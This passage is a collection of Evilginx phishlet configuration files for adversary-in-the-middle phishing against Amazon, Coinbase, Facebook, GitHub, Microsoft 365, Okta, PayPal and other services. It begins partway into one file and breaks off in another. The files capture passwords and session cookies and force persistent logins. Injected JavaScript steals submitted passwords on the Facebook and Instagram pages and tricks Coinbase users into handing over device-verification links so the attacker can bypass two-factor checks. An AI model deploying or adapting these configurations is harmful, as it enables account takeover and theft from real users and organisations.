16 | keys: ['at-main','lc-main','sess-at-main','session-id','session-id-time','session-token','sst-main','ubid-main','x-main','skin','a-ogbcbff']
17 | credentials:
18 | username:
19 | key: 'email'
20 | search: '(.*)'
21 | type: 'post'
22 | password:
23 | key: 'password'
24 | search: '(.*)'
25 | type: 'post'
26 | login:
27 | domain: 'www.amazon.com'
28 | path: '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0'
29 |
--------------------------------------------------------------------------------
/phishlets/booking.yaml:
--------------------------------------------------------------------------------
1 | author: '@Anonymous'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'accounts.booking' , orig_sub: '' , domain: 'booking.com', session: false, is_landing: true}
5 | - {phish_sub: 'account', orig_sub: 'account', domain: 'booking.com', session: true, is_landing: false}
6 | - {phish_sub: 'secure' , orig_sub: 'secure' , domain: 'booking.com', session: true, is_landing: false}
7 | - {phish_sub: 'www' , orig_sub: '' , domain: 'booking.com', session: true, is_landing: false}
8 | - {phish_sub: 'join' , orig_sub: 'join' , domain: 'booking.com', session: false, is_landing: false}
9 | - {phish_sub: 'admin' , orig_sub: 'admin' , domain: 'booking.com', session: false, is_landing: false}
10 | - {phish_sub: 'q', orig_sub: 'q-cf', domain: 'bstatic.com', session: false, is_landing: false}
11 | - {phish_sub: 'r', orig_sub: 'r-cf', domain: 'bstatic.com', session: false, is_landing: false}
12 | sub_filters: []
13 | auth_tokens:
14 | - domain: '.booking.com'
15 | keys: ['bkng','.*,regexp']
16 | credentials:
17 | username:
18 | key: ''
19 | search: '"login_name":"([^"]*)'
20 | type: 'json'
21 | password:
22 | key: ''
23 | search: '"password":"([^"]*)'
24 | type: 'json'
25 | login:
26 | domain: 'account.booking.com'
27 | path: '/'
--------------------------------------------------------------------------------
/phishlets/citrix.yaml:
--------------------------------------------------------------------------------
1 | name: 'Citrix Portal'
2 | author: '@424f424f'
3 | min_ver: '2.3.0'
4 | proxy_hosts:
5 | - {phish_sub: 'subdomainhere', orig_sub: 'subdomainhere', domain: 'domainhere', session: true, is_landing: true}
6 | sub_filters:
7 | - {triggers_on: 'domainhere', orig_sub: 'subdomainhere', domain: 'domainhere', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
8 | auth_tokens:
9 | - domain: 'domainhere'
10 | keys: ['ASP.NET_SessionId','CsrfToken','NSC_AAAC','NSC_DLGE','pwcount']
11 | credentials:
12 | username:
13 | key: 'login'
14 | search: '(.*)'
15 | type: 'post'
16 | password:
17 | key: 'passwd'
18 | search: '(.*)'
19 | type: 'post'
20 | login:
21 | domain: 'subdomainhere.domainhere'
22 | path: '/vpn/index.html'
23 |
--------------------------------------------------------------------------------
/phishlets/coinbase.yaml:
--------------------------------------------------------------------------------
1 | # AUTHOR OF THIS PHISHLET WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS PHISHLET, PHISHLET IS MADE ONLY FOR TESTING/SECURITY/EDUCATIONAL PURPOSES.
2 | # PLEASE DO NOT MISUSE THIS PHISHLET.
3 |
4 | # Don't Forget To set "domain" Params to your domain name (example.com)...
5 | #
6 | # Use This Command To set the domain params from the evilginx command line.
7 | # Where ID is lure id number, and EXAMPLE.COM is your domain name.
8 | # lures edit params ID domain=EXAMPLE.COM
9 |
10 |
11 | author: '@An0nud4y'
12 | min_ver: '2.3.0'
13 | proxy_hosts:
14 | - {phish_sub: 'www', orig_sub: 'www', domain: 'coinbase.com', session: true, is_landing: true}
15 | - {phish_sub: 'ws', orig_sub: 'ws', domain: 'coinbase.com', session: true, is_landing: false}
16 | - {phish_sub: 'google', orig_sub: 'www', domain: 'google.com', session: true, is_landing: false}
17 | - {phish_sub: 'googletag', orig_sub: 'www', domain: 'googletagmanager.com', session: true, is_landing: false}
18 | - {phish_sub: '', orig_sub: '', domain: 'coinbase.com', session: true, is_landing: false}
19 | - {phish_sub: 'assets', orig_sub: 'assets', domain: 'coinbase.com', session: true, is_landing: false}
20 | - {phish_sub: 'dynamic', orig_sub: 'dynamic-assets', domain: 'coinbase.com', session: true, is_landing: false}
21 | - {phish_sub: 'cdn', orig_sub: 'cdn', domain: 'ravenjs.com', session: true, is_landing: false}
22 | - {phish_sub: 'sessions', orig_sub: 'sessions', domain: 'coinbase.com', session: true, is_landing: false}
23 | - {phish_sub: 'events', orig_sub: 'events-service', domain: 'coinbase.com', session: true, is_landing: false}
24 | - {phish_sub: 'exceptions', orig_sub: 'exceptions', domain: 'coinbase.com', session: true, is_landing: false}
25 | - {phish_sub: 'images', orig_sub: 'images', domain: 'coinbase.com', session: true, is_landing: false}
26 |
27 |
28 | sub_filters:
29 | - {triggers_on: 'www.coinbase.com', orig_sub: 'www', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
30 | - {triggers_on: 'www.coinbase.com', orig_sub: 'www', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
31 | - {triggers_on: 'www.coinbase.com', orig_sub: 'assets', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
32 | - {triggers_on: 'www.coinbase.com', orig_sub: 'assets', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
33 | - {triggers_on: 'www.coinbase.com', orig_sub: 'dynamic-assets', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
34 | - {triggers_on: 'www.coinbase.com', orig_sub: 'dynamic-assets', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
35 | - {triggers_on: 'www.coinbase.com', orig_sub: 'sessions', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
36 | - {triggers_on: 'www.coinbase.com', orig_sub: 'sessions', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
37 | - {triggers_on: 'www.coinbase.com', orig_sub: 'events-service', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
38 | - {triggers_on: 'www.coinbase.com', orig_sub: 'events-service', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
39 | - {triggers_on: 'www.coinbase.com', orig_sub: 'exceptions', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
40 | - {triggers_on: 'www.coinbase.com', orig_sub: 'exceptions', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
41 | - {triggers_on: 'www.coinbase.com', orig_sub: 'images', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
42 | - {triggers_on: 'www.coinbase.com', orig_sub: 'images', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
43 | - {triggers_on: 'www.coinbase.com', orig_sub: '', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
44 | - {triggers_on: 'www.coinbase.com', orig_sub: '', domain: 'coinbase.com', search: '{domain}', replace: '{domain}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
45 | - {triggers_on: 'www.coinbase.com', orig_sub: 'ws', domain: 'coinbase.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
46 | - {triggers_on: 'www.coinbase.com', orig_sub: 'ws', domain: 'coinbase.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
47 | - {triggers_on: 'www.coinbase.com', orig_sub: 'www', domain: 'google.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
48 | - {triggers_on: 'www.coinbase.com', orig_sub: 'www', domain: 'google.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
49 | - {triggers_on: 'www.coinbase.com', orig_sub: 'www', domain: 'googletagmanager.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
50 | - {triggers_on: 'www.coinbase.com', orig_sub: 'www', domain: 'googletagmanager.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
51 |
52 | auth_tokens:
53 | - domain: 'www.coinbase.com'
54 | keys: ['.*,regexp']
55 | auth_urls:
56 | - '/dashboard'
57 | - '/dashboard/.*'
58 | credentials:
59 | username:
60 | key: 'email'
61 | search: '(.*)'
62 | type: 'post'
63 | password:
64 | key: 'password'
65 | search: '(.*)'
66 | type: 'post'
67 |
68 | force_post:
69 | - path: '/sessions'
70 | search:
71 | - {key: 'email', search: '.*'}
72 | - {key: 'password', search: '.*'}
73 | force:
74 | - {key: 'stay_signed_in', value: '1'}
75 | type: 'post'
76 | - path: '/signin_step_two'
77 | search:
78 | - {key: 'token', search: '.*'}
79 | - {key: 'phone_number_id', search: '.*'}
80 | force:
81 | - {key: 'remember_computer', value: '1'}
82 | type: 'post'
83 |
84 | login:
85 | domain: 'www.coinbase.com'
86 | path: '/signin'
87 |
88 |
89 | # "function lp()" will dynamically replace the contents in device authentication html page, and will create a new input box and button. Some other replacements are just to make page look better.
90 | # "function ValidateLink()" will replace the domain name 'coinbase.com' with the evilginx server domain name to verify the device from the IP of evilginx server, and will popup a new window with that modified auth link.
91 | # In that way we will be able to successfully authenticate the new device login.
92 |
93 | # "function hcaptcha()" will replace the domain name during the captcha validation to decrease the possibility of getting caught by the user.
94 |
95 | js_inject:
96 | - trigger_domains: ["www.coinbase.com"]
97 | trigger_paths: ["/device_confirmations/new"]
98 | trigger_params: [domain]
99 | script: |
100 | function lp(){
101 | var elem1 = document.getElementsByClassName("account-inner")[0];
102 | elem1.parentNode.removeChild(elem1);
103 | var elem2 = document.getElementsByClassName("device-support")[0];
104 | elem2.parentNode.removeChild(elem2);
105 | var div = document.createElement('div');
106 | div.className = 'account-inner';
107 | div.innerHTML = `
108 |
109 |
110 |
111 | Copy The Verification Link Received in Email And Paste It Below To Verify The Login
112 |
117 |
118 | `;
119 | document.getElementsByClassName("account-form device-confirmation")[0].appendChild(div);
120 | var div = document.createElement('div');
121 | div.className = 'device-support';
122 | div.innerHTML = `
123 | Email didn't arrive?
124 | Visit our Support Center .
125 |
126 |
127 |
128 | I no longer have access to my email address
129 |
130 | `;
131 | document.getElementsByClassName("account-form device-confirmation")[0].appendChild(div);
132 | return;
133 | }
134 | function ValidateLink(){
135 | var domain = "{domain}"
136 | var link1 = document.getElementById("linkVerify").value;
137 | var link2 = link1.replace('coinbase.com', domain);
138 | console.log(link2)
139 | window.open(link2, '_blank').focus();
140 | }
141 | setTimeout(function(){ lp(); }, 2500);
142 |
143 |
144 | # HCAPTCHA Header That shows domain name can be Replaced dynamically with javascripts, Its Disabled Here Because Its resulting in Hcaptcha error, Find your ways to solve it.
145 | #
146 | # - trigger_domains: ["www.coinbase.com"]
147 | # trigger_paths: ["/signin","/signin*"]
148 | # trigger_params: []
149 | # script: |
150 | # function hcaptcha(){
151 | # var elem = document.getElementsByClassName("cf-subheadline")[0];
152 | # elem.parentNode.removeChild(elem);
153 | # var div = document.createElement('div');
154 | # div.className = 'cf-subheadline';
155 | # div.innerHTML = `
156 | # Please complete the security check to get access to Coinbase Website
157 | # `;
158 | # document.getElementsByClassName("cf-wrapper cf-header cf-error-overview")[0].appendChild(div);
159 | # return;
160 | # }
161 |
--------------------------------------------------------------------------------
/phishlets/facebook.yaml:
--------------------------------------------------------------------------------
1 | author: '@charlesbel'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'facebook.com', session: true, is_landing: true}
5 | - {phish_sub: 'm', orig_sub: 'm', domain: 'facebook.com', session: true, is_landing: false}
6 | - {phish_sub: 'static', orig_sub: 'static', domain: 'xx.fbcdn.net', session: false, is_landing: false}
7 | sub_filters:
8 | - {triggers_on: 'www.facebook.com', orig_sub: 'www', domain: 'facebook.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
9 | - {triggers_on: 'www.facebook.com', orig_sub: 'static', domain: 'xx.fbcdn.net', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
10 | - {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
11 | - {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: '2F{hostname}', replace: '2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript']}
12 | - {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: '\\\\\\/\\\\\\/{hostname}', replace: '\\\\\\/\\\\\\/{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript']}
13 | - {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: 'https:\/\/{hostname}\/', replace: 'https:\/\/{hostname}\/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
14 | - {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
15 | - {triggers_on: 'static.xx.fbcdn.net', orig_sub: 'www', domain: 'facebook.com', search: ':"{domain}";', replace: ':"{domain}";', mimes: ['text/html', 'application/json', 'application/x-javascript']}
16 |
17 | auth_tokens:
18 | - domain: '.facebook.com'
19 | keys: ['c_user','xs','sb']
20 | credentials:
21 | username:
22 | key: 'email'
23 | search: '(.*)'
24 | type: 'post'
25 | password:
26 | key: 'unenc_password'
27 | search: '(.*)'
28 | type: 'post'
29 |
30 |
31 |
32 | login:
33 | domain: 'www.facebook.com'
34 | path: '/login.php'
35 |
36 | js_inject:
37 | - trigger_domains: ["www.facebook.com"]
38 | trigger_paths: ["/login.php", "/login/device-based/regular/login/", "/login/*"]
39 | trigger_params: []
40 | script: |
41 | function onclickListener(){
42 | var submit = document.querySelectorAll('button[type=submit]')[0];
43 | submit.setAttribute("onclick", "sendPass()");
44 | return;
45 | }
46 | function sendPass(){
47 | var password = document.getElementsByName("pass")[0].value;
48 | var xhr = new XMLHttpRequest();
49 | xhr.open("POST", '/login/device-based/regular/login/', true);
50 | xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
51 | xhr.send("unenc_password="+encodeURIComponent(password));
52 | return;
53 | }
54 | setTimeout(function(){ onclickListener(); }, 1000);
55 |
--------------------------------------------------------------------------------
/phishlets/github.yaml:
--------------------------------------------------------------------------------
1 | author: '@audibleblink'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: '', orig_sub: '', domain: 'github.com', session: true, is_landing: true}
5 | - {phish_sub: 'api', orig_sub: 'api', domain: 'github.com', is_landing: false}
6 | - {phish_sub: 'github', orig_sub: 'github', domain: 'githubassets.com', is_landing: false}
7 | - {phish_sub: 'collector', orig_sub: 'collector', domain: 'githubapp.com', is_landing: false}
8 |
9 | sub_filters:
10 | - {triggers_on: 'github.com', orig_sub: '', domain: 'github.com', search: 'integrity="(.*?)"', replace: '', mimes: ['text/html']}
11 | - {triggers_on: 'github.githubassets.com', orig_sub: 'github', domain: 'githubassets.com', search: 'integrity="(.*?)"', replace: '', mimes: ['text/html']}
12 | - {triggers_on: 'collector.githubapp.com', orig_sub: 'collector', domain: 'githubapp.com', search: 'integrity="(.*?)"', replace: '', mimes: ['text/html']}
13 |
14 | auth_tokens:
15 | - domain: '.github.com'
16 | keys: ['logged_in', 'dotcom_user']
17 | - domain: 'github.com'
18 | keys: ['user_session', '_gh_sess']
19 |
20 | credentials:
21 | username:
22 | key: 'login'
23 | search: '(.*)'
24 | type: 'post'
25 | password:
26 | key: 'password'
27 | search: '(.*)'
28 | type: 'post'
29 |
30 | login:
31 | domain: 'github.com'
32 | path: '/login'
33 |
--------------------------------------------------------------------------------
/phishlets/instagram.yaml:
--------------------------------------------------------------------------------
1 | author: '@charlesbel'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true, is_landing: true}
5 | - {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_landing: false}
6 | sub_filters:
7 | - {triggers_on: 'www.instagram.com', orig_sub: 'www', domain: 'instagram.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
8 | - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
9 | - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
10 | auth_tokens:
11 | - domain: '.instagram.com'
12 | keys: ['sessionid','.*,regexp']
13 | credentials:
14 | username:
15 | key: 'user'
16 | search: '(.*)'
17 | type: 'post'
18 | password:
19 | key: 'unenc_password'
20 | search: '(.*)'
21 | type: 'post'
22 | login:
23 | domain: 'www.instagram.com'
24 | path: '/accounts/login'
25 | js_inject:
26 | - trigger_domains: ["www.instagram.com"]
27 | trigger_paths: ["/accounts/login"]
28 | trigger_params: []
29 | script: |
30 | function onclickListener(){
31 | var submit = document.querySelectorAll('button[type=submit]')[0];
32 | submit.setAttribute("onclick", "sendPass()");
33 | return;
34 | }
35 | function sendPass(){
36 | var password = document.getElementsByName("password")[0].value;
37 |
38 | var xhr = new XMLHttpRequest();
39 | xhr.open("POST", '/accounts/login/ajax/', true);
40 | xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
41 | xhr.send("unenc_password="+encodeURIComponent(password));
42 |
43 | return;
44 | }
45 | setTimeout(function(){ onclickListener(); }, 1000);
46 |
--------------------------------------------------------------------------------
/phishlets/linkedin.yaml:
--------------------------------------------------------------------------------
1 | author: '@mrgretzky'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'linkedin.com', session: true, is_landing: true}
5 | sub_filters: []
6 | auth_tokens:
7 | - domain: '.www.linkedin.com'
8 | keys: ['li_at']
9 | credentials:
10 | username:
11 | key: 'session_key'
12 | search: '(.*)'
13 | type: 'post'
14 | password:
15 | key: 'session_password'
16 | search: '(.*)'
17 | type: 'post'
18 | login:
19 | domain: 'www.linkedin.com'
20 | path: '/uas/login'
21 | js_inject:
22 | - trigger_domains: ["www.linkedin.com"]
23 | trigger_paths: ["/uas/login"]
24 | trigger_params: ["email"]
25 | script: |
26 | function lp(){
27 | var email = document.querySelector("#username");
28 | var password = document.querySelector("#password");
29 | if (email != null && password != null) {
30 | email.value = "{email}";
31 | password.focus();
32 | return;
33 | }
34 | setTimeout(function(){lp();}, 100);
35 | }
36 | setTimeout(function(){lp();}, 100);
37 |
--------------------------------------------------------------------------------
/phishlets/o365.yaml:
--------------------------------------------------------------------------------
1 | name: 'o365'
2 | author: '@jamescullum'
3 | min_ver: '2.3.0'
4 | proxy_hosts:
5 | - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}
6 | - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: true, is_landing:false}
7 | # The lines below are needed if your target organization utilizes ADFS.
8 | # If they do, you need to uncomment all following lines that contain <...>
9 | # To get the correct ADFS subdomain, test the web login manually and check where you are redirected.
10 | # Assuming you get redirected to adfs.example.com, the placeholders need to be filled out as followed:
11 | # = adfs
12 | # = example.com
13 | # = adfs.example.com
14 | #- {phish_sub: 'adfs', orig_sub: '', domain: '', session: true, is_landing:false}
15 | #- {phish_sub: 'adfs', orig_sub: '', domain: ':443', session: true, is_landing:false}
16 | sub_filters:
17 | - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
18 | - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
19 | # Uncomment and fill in if your target organization utilizes ADFS
20 | #- {triggers_on: '', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
21 | auth_tokens:
22 | - domain: '.login.microsoftonline.com'
23 | keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
24 | - domain: 'login.microsoftonline.com'
25 | keys: ['SignInStateCookie']
26 | credentials:
27 | username:
28 | key: '(login|UserName)'
29 | search: '(.*)'
30 | type: 'post'
31 | password:
32 | key: '(passwd|Password)'
33 | search: '(.*)'
34 | type: 'post'
35 | login:
36 | domain: 'login.microsoftonline.com'
37 | path: '/'
--------------------------------------------------------------------------------
/phishlets/okta.yaml:
--------------------------------------------------------------------------------
1 | author: '@mikesiegel'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'login', orig_sub: 'login', domain: 'okta.com', session: false, is_landing: false}
5 | - {phish_sub: '', orig_sub: '', domain: 'okta.com', session: false, is_landing: false }
6 | - {phish_sub: 'EXAMPLE', orig_sub: 'EXAMPLE', domain: 'okta.com', session: true, is_landing: true}
7 | sub_filters:
8 | - {triggers_on: 'EXAMPLE.okta.com', orig_sub: '', domain: 'EXAMPLE.okta.com', search: 'sha384-.{64}', replace: '', mimes: ['text/html']}
9 | auth_tokens:
10 | - domain: 'EXAMPLE.okta.com'
11 | keys: ['sid']
12 | credentials:
13 | username:
14 | key: ''
15 | search: '"username":"([^"]*)'
16 | type: 'json'
17 | password:
18 | key: ''
19 | search: '"password":"([^"]*)'
20 | type: 'json'
21 | login:
22 | domain: 'EXAMPLE.okta.com'
23 | path: '/login/login.htm'
24 |
--------------------------------------------------------------------------------
/phishlets/onelogin.yaml:
--------------------------------------------------------------------------------
1 | name: 'onelogin'
2 | author: '@perfectlylogical'
3 | min_ver: '2.3.0'
4 | # NOTE: Do not forget to change EXMAPLE to the relevant sub domain.
5 | proxy_hosts:
6 | - {phish_sub: '', orig_sub: '', domain: 'onelogin.com', session: false, is_landing: false }
7 | - {phish_sub: 'EXAMPLE', orig_sub: 'EXAMPLE', domain: 'onelogin.com', session: true, is_landing: true}
8 | - {phish_sub: 'portal-cdn', orig_sub: 'portal-cdn', domain: 'onelogin.com', session: false, is_landing: false}
9 | # Uncomment this line if the target is using the default CSS for onelogin. Will manifest as the login page not loading.
10 | #- {phish_sub: 'web-login-cdn', orig_sub: 'web-login-cdn', domain: 'onelogin.com', session: false, is_landing: false}
11 | sub_filters: []
12 | auth_tokens:
13 | - domain: '.onelogin.com'
14 | keys: ['onelogin.com_user']
15 | - domain: 'EXAMPLE.onelogin.com'
16 | keys: ['sub_session_onelogin.com']
17 | auth_urls:
18 | - '/portal/'
19 | - '/client/apps'
20 | # This is used to force the rememebr me functionality if the target is using the /login url
21 | # This method will not work if they are using the multistep login method on the /login2 url
22 | force_post:
23 | - path: '/sessions'
24 | search:
25 | - {key: 'authenticity_token', search: '.*'}
26 | - {key: 'email', search: '.*'}
27 | - {key: 'password', search: '.*'}
28 | force:
29 | - {key: 'persist_session', value: 'true'}
30 | type: 'post'
31 | # The post type is used to capture credentials which use the /login url
32 | # The json type is used to capture credentials which use the /login2 url
33 | credentials:
34 | username:
35 | key: 'email'
36 | search: '(.*)'
37 | type: 'post'
38 | password:
39 | key: 'password'
40 | search: '(.*)'
41 | type: 'post'
42 | username:
43 | key: 'login'
44 | search: '"login":"(.*)"'
45 | type: 'json'
46 | password:
47 | key: 'password'
48 | search: '"password":"(.*)",'
49 | type: 'json'
50 | login:
51 | domain: 'EXAMPLE.onelogin.com'
52 | path: '/login'
53 |
--------------------------------------------------------------------------------
/phishlets/outlook.yaml:
--------------------------------------------------------------------------------
1 | author: '@mrgretzky'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'outlook', orig_sub: 'outlook', domain: 'live.com', session: true, is_landing: true}
5 | - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: false}
6 | - {phish_sub: 'account', orig_sub: 'account', domain: 'live.com', session: false, is_landing: false}
7 | sub_filters:
8 | - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
9 | - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetCredentialType.srf', replace: 'https://{hostname}/GetCredentialType.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
10 | - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetSessionState.srf', replace: 'https://{hostname}/GetSessionState.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
11 | - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
12 | - {triggers_on: 'login.live.com', orig_sub: 'outlook', domain: 'live.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
13 | - {triggers_on: 'login.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
14 | - {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
15 | - {triggers_on: 'account.live.com', orig_sub: 'live', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
16 | - {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
17 | auth_tokens:
18 | - domain: '.live.com'
19 | keys: ['WLSSC','RPSSecAuth']
20 | credentials:
21 | username:
22 | key: 'login'
23 | search: '(.*)'
24 | type: 'post'
25 | password:
26 | key: 'passwd'
27 | search: '(.*)'
28 | type: 'post'
29 | login:
30 | domain: 'outlook.live.com'
31 | path: '/owa/?nlp=1'
32 |
--------------------------------------------------------------------------------
/phishlets/paypal.yaml:
--------------------------------------------------------------------------------
1 | # AUTHOR OF THIS PHISHLET WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS PHISHLET, PHISHLET IS MADE ONLY FOR TESTING/SECURITY/EDUCATIONAL PURPOSES.
2 | # PLEASE DO NOT MISUSE THIS PHISHLET.
3 |
4 | # Email Params can be Triggered By using Below Command.
5 | # lures edit params ID email=test@email.com
6 | # Where ID is lure id number, and test@email.com is your known victim account email address for paypal.
7 |
8 | author: '@An0nud4y'
9 | min_ver: '2.3.0'
10 | proxy_hosts:
11 | - {phish_sub: 'www', orig_sub: 'www', domain: 'paypal.com', session: true, is_landing: true, auto_filter: true}
12 | - {phish_sub: '', orig_sub: '', domain: 'paypal.com', session: true, is_landing: false, auto_filter: true}
13 | # - {phish_sub: 'paypalobjects', orig_sub: 'www', domain: 'paypalobjects.com', session: false, is_landing: false}
14 | - {phish_sub: 'c', orig_sub: 'c', domain: 'paypal.com', session: false, is_landing: false}
15 | - {phish_sub: 'b.stats', orig_sub: 'b.stats', domain: 'paypal.com', session: false, is_landing: false}
16 | - {phish_sub: 't', orig_sub: 't', domain: 'paypal.com', session: false, is_landing: false}
